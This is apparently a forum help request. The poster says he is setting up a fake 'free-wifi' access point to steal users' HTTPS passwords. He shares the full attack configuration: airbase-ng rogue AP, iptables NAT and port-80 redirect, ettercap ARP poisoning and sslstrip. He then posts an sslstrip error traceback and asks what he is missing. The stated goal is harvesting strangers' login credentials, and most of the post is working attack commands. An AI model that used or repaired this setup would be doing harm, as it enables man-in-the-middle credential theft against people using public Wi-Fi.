Hi all
I want to make a fake access point to sniff https passwords, I started the fake access point ((airmong-ng)), and done the iptables forwoarding and dhcp configuration, every thing is good till now, clients get connected and can browse internet, butwhen i start ettercap and sslstrip I can't get any https passwords, the client still browsing, but no passowrds at all, tried many tutorials with diferent configurations but no way, seems like there is some thing wrong with sslstrip.
any way here is my configurations:
wireless=wlan0
internet=eth0
airbase-ng -c 1 -e free-wifi mon0
ifconfig at0 up &&
ifconfig at0 10.0.0.1 netmask 255.255.255.0 &&
route add -net 10.0.0.0 netmask 255.255.255.0 gw 10.0.0.1 &&
dhcpd
iptables --flush && iptables --table nat --flush && iptables --delete-chain &&
iptables --table nat --delete-chain &&
iptables --append FORWARD --in-interface at0 -j ACCEPT &&
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE &&
echo 1 > /proc/sys/net/ipv4/ip_forward &&
iptables -t nat -A PREROUTING -p udp -j DNAT --to 192.168.1.1 ##gateway on eth0
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
ettercap -Tqi at0 -M arp:remote // //
sslstrip -akf
dhcpd configurations are correct cause clients get connected and can browse internet,
but as I said no https passwords,
when I run sslstrip I got this:
slstrip 0.9 by Moxie Marlinspike running...
Unhandled error in Deferred:
Unhandled Error
Traceback (most recent call last):
File "/usr/lib/python2.7/dist-packages/twisted/internet/defer.py", line 551, in _runCallbacks
current.result = callback(current.result, *args, **kw)
File "/usr/lib/python2.7/dist-packages/twisted/internet/base.py", line 250, in _checkTimeout
userDeferred.callback(result)
File "/usr/lib/python2.7/dist-packages/twisted/internet/defer.py", line 368, in callback
self._startRunCallbacks(result)
File "/usr/lib/python2.7/dist-packages/twisted/internet/defer.py", line 464, in _startRunCallbacks
self._runCallbacks()
--- <exception caught here> ---
File "/usr/lib/python2.7/dist-packages/twisted/internet/defer.py", line 551, in _runCallbacks
current.result = callback(current.result, *args, **kw)
File "/usr/share/sslstrip/sslstrip/ClientRequest.py", line 115, in handleHostResolvedError
self.finish()
File "/usr/lib/python2.7/dist-packages/twisted/web/http.py", line 866, in finish
"Request.finish called on a request after its connection was lost; "
exceptions.RuntimeError: Request.finish called on a request after its connection was lost; use Request.notifyFinish to keep track of this.
can you tell me what I'm missing here,
thank's all..
anas.